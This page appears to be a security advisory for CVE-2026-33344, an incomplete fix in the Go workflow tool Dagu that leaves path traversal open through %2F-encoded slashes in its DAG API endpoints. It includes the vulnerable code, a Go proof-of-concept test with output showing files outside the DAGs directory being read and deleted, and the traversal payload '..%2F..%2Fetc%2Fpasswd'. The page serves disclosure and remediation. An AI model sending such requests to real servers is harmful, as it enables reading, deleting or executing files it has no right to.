CVE-2026-33344: Dagu has an incomplete fix for CVE-2026-27598: path traversal via %2F-encoded slashes in locateDAG
The fix for CVE-2026-27598 (commit e2ed589, PR #1691) added ValidateDAGName to CreateNewDAG and rewrote generateFilePath to use filepath.Base. This patched the CREATE path. The remaining API endpoints - GET, DELETE, RENAME, EXECUTE - all pass the {fileName} URL path parameter to locateDAG without calling ValidateDAGName. %2F-encoded forward slashes in the {fileName} segment traverse outside the DAGs directory.
Published Mar 19, 2026 · Updated Mar 27, 2026
Affected packages
github.com/dagu-org/dagu
- Ecosystem
- Go
- Affected
- >= 1.30.4-0.20260221021317-e2ed589105d7, < 1.30.4-0.20260319093346-7d07fda8f9de
- Fixed in
- 1.30.4-0.20260319093346-7d07fda8f9de
- Check
go list -m github.com/dagu-org/dagu
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
The fix for CVE-2026-27598 (commit e2ed589, PR #1691) added ValidateDAGName to CreateNewDAG and rewrote generateFilePath to use filepath.Base. This patched the CREATE path. The remaining API endpoints - GET, DELETE, RENAME, EXECUTE - all pass the {fileName} URL path parameter to locateDAG without calling ValidateDAGName. %2F-encoded forward slashes in the {fileName} segment traverse outside the DAGs directory.
Vulnerable code
internal/persis/filedag/store.go, lines 508-513:
func (store *Storage) locateDAG(nameOrPath string) (string, error) {
if strings.Contains(nameOrPath, string(filepath.Separator)) {
foundPath, err := findDAGFile(nameOrPath)
if err == nil {
return foundPath, nil // returns arbitrary resolved path
}
}
// ...safe searchPaths branch followsfindDAGFile resolves the path with filepath.Abs and checks only that the file exists with a YAML extension. No containment check against baseDir.
Chi v5 routes using r.URL.RawPath when set. The pattern /dags/{fileName}/spec captures ..%2F..%2Fetc%2Ftarget.yaml as a single path segment. The oapi-codegen runtime calls url.PathUnescape, producing ../../etc/target.yaml. This decoded string reaches locateDAG with the / separator intact.
Go's net/http.ServeMux would normally redirect paths containing .., but dagu binds the chi mux directly to &http.Server{Handler: r} (server.go:833-834), so no path cleaning fires.
Affected endpoints
The three confirmed impacts via locateDAG:
| Endpoint | Impact |
| `GET /dags/{fileName}/spec` | Arbitrary `.yaml`/`.yml` file read (`os.ReadFile`) |
| `DELETE /dags/{fileName}` | Arbitrary `.yaml`/`.yml` file delete (`os.Remove`) |
| `POST /dags/{fileName}/start` | Load arbitrary YAML, execute as workflow |Same pattern affects all other {fileName} endpoints: /dag-runs, /dag-runs/{id}, /rename, /start-sync, /enqueue, and webhook handlers. UpdateDAGSpec is incidentally blocked by DAG name validation during YAML parsing - not a security check, just data integrity validation that happens to reject /.
PoC
Store-level (dagu v2.0.2, Go 1.26, macOS; locateDAG unchanged through v2.3.0):
func TestLocateDAGPathTraversal(t *testing.T) {
baseDir, _ := os.MkdirTemp("", "bd")
defer os.RemoveAll(baseDir)
outsideDir, _ := os.MkdirTemp("", "od")
defer os.RemoveAll(outsideDir)
store := filedag.New(baseDir, filedag.WithSkipExamples(true))
ctx := context.Background()
store.Create(ctx, "legit", []byte("name: legit\nsteps:\n - name: s\n command: echo ok\n"))
target := filepath.Join(outsideDir, "secret.yaml")
os.WriteFile(target, []byte("password: hunter2\ndb_host: prod-db.internal\n"), 0644)
rel, _ := filepath.Rel(baseDir, target)
spec, _ := store.GetSpec(ctx, rel)
fmt.Println(spec)
}Output:
baseDir: /tmp/bd1816472583
targetFile: /tmp/od3906487343/secret.yaml
traversal: ../od3906487343/secret.yaml
=== GetSpec (arbitrary file read) ===
SUCCESS: read file outside baseDir
Content:
password: hunter2
db_host: prod-db.internal
=== Delete (arbitrary file delete) ===
SUCCESS: deleted /tmp/od3906487343/important.yamlHTTP-level (chi v5.2.2):
r := chi.NewRouter()
r.Get("/dags/{fileName}/spec", func(w http.ResponseWriter, r *http.Request) {
raw := chi.URLParam(r, "fileName")
decoded, _ := url.PathUnescape(raw)
fmt.Fprintf(w, "raw=%s\ndecoded=%s\n", raw, decoded)
})
req := httptest.NewRequest("GET", "/dags/..%2F..%2Fetc%2Ftarget.yaml/spec", nil)
w := httptest.NewRecorder()
r.ServeHTTP(w, req)Output:
path: /dags/..%2F..%2Fetc%2Fpasswd/spec
status: 200
raw=..%2F..%2Fetc%2Fpasswd
decoded=../../etc/passwdChi captures ..%2F..%2Fetc%2Fpasswd as one path segment via RawPath, oapi-codegen decodes %2F to /. Confirmed with chi v5.2.2.
Affected versions
- v2.0.0 through v2.3.0 (current latest, checked 2026-03-18).
- The
locateDAGfunction with thefilepath.Separatorcode path was introduced in commit 1557b14f (PR #1573) as part of the v2.0.0 rewrite. - The CVE-2026-27598 fix (e2ed589) also landed in v2.0.0 - it patched
CreateNewDAGbut didn't address the newlocateDAGcode path that was introduced in the same release.
Suggested fix
Add path containment to locateDAG rather than sprinkling ValidateDAGName across every handler. Reject names containing path separators for HTTP-facing callers. If the separator code path is needed for internal worker communication (PR #1573), split locateDAG into a validated public method (HTTP handlers) and an internal method (trusted callers only).
Impact
An authenticated user (or any user if auth.mode=none) can read or delete any .yaml/.yml file on the server filesystem that the process can access. K8s secrets stored as YAML, app configs, other DAG files.
The execute endpoints also traverse via locateDAG, loading the target YAML as a DAG definition. If the file contains valid DAG syntax with shell commands, those commands execute as the dagu process user. I haven't verified this end-to-end since it requires a target file with DAG-compatible structure, but the code path is the same locateDAG call confirmed above.
Auth is enabled by default since PR #1688 (v2.0.0), but exploitable by any authenticated user regardless of role - the DAG read/delete paths don't enforce RBAC granularity. Pre-v2.0.0 deployments or those with auth.mode=none are exploitable without credentials.
Credited to vnykmshr.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Go vulnerabilities
All Go entriesCVE-2026-31886
Dagu: Path Traversal via `dagRunId` in Inline DAG Execution
critical9.1No fixMar 13, 2026CVE-2026-27598
Dagu: Path traversal in DAG creation allows arbitrary YAML file write outside DAGs directory
high7.1No fixFeb 24, 2026GHSA-6qr9-g2xw-cw92
Dagu affected by unauthenticated RCE via inline DAG spec in default configuration
critical9.8No fixFeb 19, 2026
